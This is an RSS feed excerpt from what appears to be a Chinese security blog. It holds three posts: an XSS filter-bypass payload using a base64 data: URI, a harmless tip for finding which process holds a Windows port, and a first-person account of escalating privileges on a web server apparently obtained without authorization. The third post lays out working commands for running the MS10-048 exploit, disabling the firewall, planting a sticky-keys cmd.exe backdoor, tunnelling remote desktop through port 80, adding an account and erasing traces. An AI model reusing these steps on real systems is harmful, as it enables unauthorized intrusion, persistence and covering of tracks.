<p>data:类似于javascript:，在很大程度上，可以完成javascript的工作.</p>
<p>举一个例子：</p>
<p>进行XSS测试时，发现javascript与script等关键字都被过滤了（现在一般有点XSS意识的管理员都懂得过滤这两个关键字）。可用下面的语句：<br />
<span id="more-307"></span><br />
<code><br />
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=</code><br />
这语句和  javascript:alert(&#8220;xss&#8221;)  或者  <script>alert("xss")</script> 作用是一样的。</p>
<p>data:的语法从上面的语句中也可以看得很清楚了，base64为编码方式，可以任意改，可以UTF-8可以UTF-7，只要后面编码后的内容做相应的更改就可以了。不仅仅是弹窗，如果想src到一个JS脚本，也是完全可以的。</p>
<p>SuperHei对data:的总结是：</p>
<p>1.可以指定MIME-type如text/html<br />
2.可以指定编码如data:;charset=UTF-8,Hello<br />
3.firefox/ie8/Opera等支持它</p>
<p>有兴趣的同学可以参看FIREFOX官方：</p>
<p>http://www-archive.mozilla.org/quality/networking/testing/datatests.html</p>
<p>data:是一个好东西啊~OVER！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/307.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WIN下查看端口占用的程序</title>
		<link>http://www.bksec.net/archives/304.html</link>
		<comments>http://www.bksec.net/archives/304.html#comments</comments>
		<pubDate>Sat, 12 Feb 2011 14:32:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[端口]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=304</guid>
		<description><![CDATA[author:cnbird 经常我们在启动应用的时候发现系统需要的端口被别的程序占用，如何知道谁占有了我们需要的端口，很多人都比较头疼，下面就介绍一种非常简单的方法，希望对大家有用假如我们需要确定谁占用了我们的9050端口 1、Windows平台 在windows命令行窗口下执行： C:\>netstat -aon&#124;findstr &#8220;9050&#8243; TCP 127.0.0.1:9050 0.0.0.0:0 LISTENING 2016 看到了吗，端口被进程号为2016的进程占用，继续执行下面命令： C:\>tasklist&#124;findstr &#8220;2016&#8243; tor.exe 2016 Console 0 16,064 K 很清楚吧，tor占用了你的端口]]></description>
			<content:encoded><![CDATA[<p>author:cnbird<br />
经常我们在启动应用的时候发现系统需要的端口被别的程序占用，如何知道谁占有了我们需要的端口，很多人都比较头疼，下面就介绍一种非常简单的方法，希望对大家有用假如我们需要确定谁占用了我们的9050端口<br />
1、Windows平台<br />
在windows命令行窗口下执行：</p>
<p>C:\>netstat -aon|findstr &#8220;9050&#8243; TCP 127.0.0.1:9050<br />
0.0.0.0:0 LISTENING 2016</p>
<p>看到了吗，端口被进程号为2016的进程占用，继续执行下面命令：</p>
<p>C:\>tasklist|findstr &#8220;2016&#8243;<br />
tor.exe                     2016 Console                 0     16,064 K</p>
<p>很清楚吧，tor占用了你的端口</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/304.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>记一次艰难的提权</title>
		<link>http://www.bksec.net/archives/301.html</link>
		<comments>http://www.bksec.net/archives/301.html#comments</comments>
		<pubDate>Fri, 11 Feb 2011 02:06:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.bksec.net/?p=301</guid>
		<description><![CDATA[author:M4tr1x 一日从朋友处得到一网站权限，让我帮忙提权。拿到后看了看，C、D盘有只读权限，C:\Documents and Settings\All Users\Documents 可写。 没有装FTP软件和数据库。wscript.shell没有被禁用， 终端端口被改成45678 。试了试从外网连不上45678端口，用LCX也导不出来，本以为是WINDOWS自带的防火墙或者IPSEC。不过防火墙的事拿到系统权限了再搞吧。 找了找本地溢出的漏洞，貌似只有MS08067和MS10048，不过在服务器的D盘根目录发现个KB958644.exe ，这个应该是MS08067的补丁，把MS10048.exe传到C:\Documents and Settings\All Users\Documents目录里，运行ms10048 Whoami,返回nt authority\system，为系统权限。 接下来关掉防火墙 执行net stop policyagent和net stop sharedaccess .发现45678端口还是连不上，郁闷至极，ping 外网IP也不通 。 执行一下tracert 220.181.6.175 (220.181.6.175是百度的IP) 返回 1 1ms]]></description>
			<content:encoded><![CDATA[<p>author:M4tr1x<br />
一日从朋友处得到一网站权限，让我帮忙提权。拿到后看了看，C、D盘有只读权限，C:\Documents and Settings\All Users\Documents 可写。 没有装FTP软件和数据库。wscript.shell没有被禁用， 终端端口被改成45678 。试了试从外网连不上45678端口，用LCX也导不出来，本以为是WINDOWS自带的防火墙或者IPSEC。不过防火墙的事拿到系统权限了再搞吧。<br />
找了找本地溢出的漏洞，貌似只有MS08067和MS10048，不过在服务器的D盘根目录发现个KB958644.exe ，这个应该是MS08067的补丁，把MS10048.exe传到C:\Documents and Settings\All Users\Documents目录里，运行ms10048 Whoami,返回nt authority\system，为系统权限。 接下来关掉防火墙 执行net stop policyagent和net stop sharedaccess .发现45678端口还是连不上，郁闷至极，ping 外网IP也不通 。 执行一下tracert 220.181.6.175 <span id="more-301"></span>(220.181.6.175是百度的IP) 返回<br />
1 1ms <1ms <1 203.171.236.1<br />
2 * * * Request timed out.<br />
3 * * * Request timed out.</p>
<p>数据包经过路由器就被抛弃了.<br />
初步判断是路由器设置了ACL表。<br />
扫描了一下目标服务器，只开了80端口，服务器操作系统是WINDOWS 2003. 端口复用在2003上不管用。 看来只有把IIS停了再把45678端口转到80端口上了。<br />
在c:\windows 目录中写了个1.bat<br />
内容是<br />
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y /*替换sethc.exe，登陆上终端后按5下Shift打开CMD窗口*/<br />
net stop w3svc<br />
lcx.exe -tran 80 127.0.0.1 45678<br />
net start w3svc /*这一行是为了当lcx意外崩溃后启动IIS。*/<br />
不过需要注意的是 这个1.bat不能直接用ms10048.exe 运行 ，因为IIS进程是ms10048.exe的父进程 ，把IIS结束后ms10048.exe也就自动退出了 所以不会运行后面的代码<br />
运行time/t得到服务器的时间是20:23。 ms10048.exe at 20:25 c:\windows\1.bat 让服务器在20:25运行1.bat 为了保险起见 再运行一个ms10048.exe at 20:40 shutdown -r 让服务器在20：40重启。<br />
一两分钟后用远程桌面连接 服务器80端口成功连上，按无暇5下SHIFT键弹出CMD窗口 添加用户成功登陆。登陆后运行 at \delete \y 删除刚才添加的定时重启任务。<br />
接下来就该干什么干什么去了。<br />
退出的时候可以直接重启服务器 ，不过这样不太厚道。 打开一个cmd窗口 运行query user 找到自己的用户ID ，我的用户ID是2。 然后在CMD窗口里输入 taskkill /IM lcx.exe /F&#038;logoff 2&#038;net user 410502 /del&#038;net start w3svc 这行命令的意思是 结束lcx.exe 注销我的用户 删掉我的用户 然后启动IIS.<br />
提权到此顺利结束。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bksec.net/archives/301.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

